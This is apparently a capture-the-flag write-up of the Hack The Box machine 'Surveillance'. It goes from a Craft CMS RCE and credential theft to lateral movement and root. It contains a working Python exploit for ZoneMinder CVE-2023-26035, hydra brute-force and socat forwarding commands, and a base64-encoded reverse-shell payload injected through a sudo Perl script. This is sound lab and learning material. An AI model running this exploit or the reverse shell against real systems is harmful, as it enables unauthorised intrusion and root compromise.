This Linux machine is going to involve some CVE exploitation, port forwarding and find a vulnerability from a bunch of Perl scripts.
Initial scan
Nmap scan report for 10.10.11.245
Host is up (0.025s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 96:07:1c:c6:77:3e:07:a0:cc:6f:24:19:74:4d:57:0b (ECDSA)
|_ 256 0b:a4:c0:cf:e2:3b:95:ae:f6:f5:df:7d:0c:88:d6:ce (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://surveillance.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
During the initial nmap
scan we found two open ports :
- Port 22 SSH using OpenSSH 8.9p1
- Port 80 HTTP using a Nginx server v1.18.0
We also found :
- A domain name : http://surveillance.htb/
- Target OS running Linux, probably Ubuntu
Initial foothold
We can start by adding the domain to our /etc/hosts
file and explore the website we found on port 80.
echo -e "10.10.11.245\tsurveillance.htb" | sudo tee -a /etc/hosts
The website is powered by Craft CMS version 4.4.14, which means we can look for some exploits.

We discover that this version contains a critical vulnerability leading to RCE, we can have a look at the CVE-2023-41892. Now is time to find a working PoC, we are going to try with this one on GitHub.

We have our first shell on the machine, let’s upgrade it to a fully functional one and start our enumeration on the box.
Enumeration and lateral movement
From www-data
We have an access as a low privilege user www-data
which is the user running the website on the host, we can start by having a look at the /etc/passwd
file to enumerate the users.
[...]
matthew:x:1000:1000:,,,:/home/matthew:/bin/bash
mysql:x:114:122:MySQL Server,,,:/nonexistent:/bin/false
zoneminder:x:1001:1001:,,,:/home/zoneminder:/bin/bash
[...]
Our exploration reveals other users named matthew
and zoneminder
as well as mysql
, what we want to do from here is to look for some website configuration containing users and passwords. During the search we found a configuration file in html/craft/.env

Good, we know that a SQL service is running on port 3306, we also got a user and a password, we can confirm that the port 3306 is used by running the following command :
ss -tulpn
Once we did it, we will connect to the local database and start to explore it. We found the craftdb
database and display the content of one of the table which contains the users :

We discover a hashed password for the user matthew
, which seems to be very interesting, we are going to try to crack it (spoiler : this is not going to work). While we let it run in the background we continue our exploration, we may find more data related to a SQL dump.

We also discover an archive containing a MariaDB SQL dump called surveillance--2023-10-17-202801--v4.4.14.sql.zip
, inside we can see a new hash.

It is a hashed password for the user matthew
but this is a SHA-256 hash, we can try again to crack it since our previous attempt did not work out for us.

This time we get a password, we can use it for lateral movement and SSH into the box using Matthew credentials.
From Matthew
We are now connected as Matthew, he does not have special privilege either, but we can start our enumeration and keep in mind that we also look for information about the user zoneminder
while doing so.

If we have a look at the listening ports on the machine we can see that the port 8080 is being used, it was not a result from our fist nmap
scan. A quick local request to it confirm that there is a web service running here, we could also use the ss
command.

So let’s do some port forwarding in order to gain access to this service from our local machine. To achieve this, we are going to use socat
:
socat -ddd TCP-LISTEN:8080,fork TCP:127.0.0.1:8181
Now we can access the web service from our local machine and we discover a website, which seems to be using ZoneMinder.

While looking around, I found inside the official documentation the default username and password, we should probably try this first. We also previously gathered some others users and credentials, we can create a short list and start a brute force attack using hydra
.
hydra -I -C bruteforce.lst surveillance.htb http-post-form "/?view=login:username=^USER^&password=^PASS^:F=Invalid username or password."
We did, but nothing worked, we are going to need to find something else, we need more information so we can look around about zoneminder
on the server.
find / -type d -name 'zoneminder' 2>/dev/null
/var/cache/zoneminder
/usr/lib/zoneminder
/usr/share/zoneminder
/usr/share/bug/zoneminder
/usr/share/doc/zoneminder
/home/zoneminder
We met a home directory for the user zoneminder
but we cannot access it, then we gather some information about the version which is currently running on the server :
matthew@surveillance:~$ dpkg -s zoneminder | grep Version
Version: 1.36.32+dfsg1-1
With the version, we can do some diging to see if there is a vulnerability, we quickly come across the CVE-2023-26035 and the impact description in the project. So what is happening here ? The service has no proper permissions check in place on the snapshot
view when a user is calling the create
action, furthermore, the parameter monitor_ids
is expecting an id. The vulnerability lies in the fact that it is possible to pass an object, trigger shell_exec
and get a remote code execution from a simple unauthenticated web request.
Alright, we could probably find a functional PoC, but I am learning Python so, time to write some simple code. The website is also using a CSRF Token, so we will grab that too, what we need to do is pretty straight forward :
- Make a first request to grab the CSRF Token
- Call the endpoint with the right parameters and insert our command execution, in this case, a reverse shell
import sys
import requests
import argparse
from bs4 import BeautifulSoup
script_args = argparse.ArgumentParser()
script_args.add_argument("--target", "-t", required=True, help="-c 127.0.0.1")
script_args.add_argument("--command", "-c", required=True, help="curl 127.0.0.1:9001")
args = script_args.parse_args()
def launch_attack(target, command):
url = target + '/index.php'
index_page = requests.get(url)
print(f'Target is : { url }')
print(f'Command is : { command }')
print(f'\n[+] Trying to retrieve csrf token')
if index_page.status_code == 200:
soup = BeautifulSoup(index_page.text, 'html.parser')
token_value = soup.find('input', attrs={'name': '__csrf_magic'}).get('value')
if token_value is not None:
print(f'[+] Csrf token is : { token_value }')
data = {
'view': 'snapshot',
'action': 'create',
'monitor_ids[0][Id]': f';{ command }',
'__csrf_magic': token_value
}
response = requests.post(url, data=data, timeout=5)
if response.status_code == 200:
print('Should be success')
else:
print('Failed')
else:
print(f'Could not find the csrf token.')
else:
print(f'Could not perform the request on the target.')
return
if __name__ == '__main__':
if len(sys.argv) == 1:
script_args.print_help(sys.stderr)
sys.exit(1)
try:
if args.target is not None and args.command is not None:
launch_attack(args.target, args.command)
except requests.Timeout as timeout:
print(f'Timeout error :\n{ timeout }')
except Exception as error:
print(f'An error occurred :\n{ error }')
We just need to set up our netcat
listener, run our script and with that we get our shell as the zoneminder
user !
Privilege escalation
We just got our shell as zoneminder
, this user has some limited sudo
privileges, he can launch a bunch of Perl scripts. I have to say that I have never written a Perl line of code so I was not pleased with what I was looking at.

That is a lot of scripts, they accumulate thousands of line of code in a language I do not know. We can guess we will have to use this sudo
command in order to elevate our privileges to root
. I started looking for insecure paths, the environment variables, tried to create a file in the /usr/bin/
directory so it would be called using sudo
privileges, but nothing worked. I guess we are going to have a look at the code then, we saw that the command syntax is :
sudo /usr/bin/zm[a-zA-Z]*.pl *
This means we call every parameters from those scripts, but first I need to know some common injection methods in Perl and found this article which could help narrow down what we are looking for. I started by looking at every parameter in each script which would take user input and use it to call something like system()
, execution()
, open()
or complete a bash command with it.
I though I found one in the script called zmcamtool.pl
, but I was not able to make it work, I got the following error message when trying to do some command injection :
Insecure dependency in `` while running with -T switch at /usr/bin/zmcamtool.pl line 366.
It took me a long time, but I finally got what we were looking in another script named zmupdate.pl
, the script takes the user input and use it to complete a bash command, we can abuse this.

To perform the injection we are going to be using a bash command substitution using the $()
syntax :
“Command substitution allows the output of a command to replace the command itself. […] Bash performs the expansion by executing command in a subshell environment and replacing the command substitution with the standard output of the command, with any trailing newlines deleted.”
From gnu.org
I first used a PoC to read the flag only accessible to the root
user, then I used the same method to get a reverse shell as root
by setting up a netcat
listener and calling the script using the following parameters :
sudo /usr/bin/zmupdate.pl --version=1 --user='$(echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4zLzkwMDIgMD4mMQ==" | base64 -d | bash)' --pass=*********************
Here we have our shell as root, congratulation !
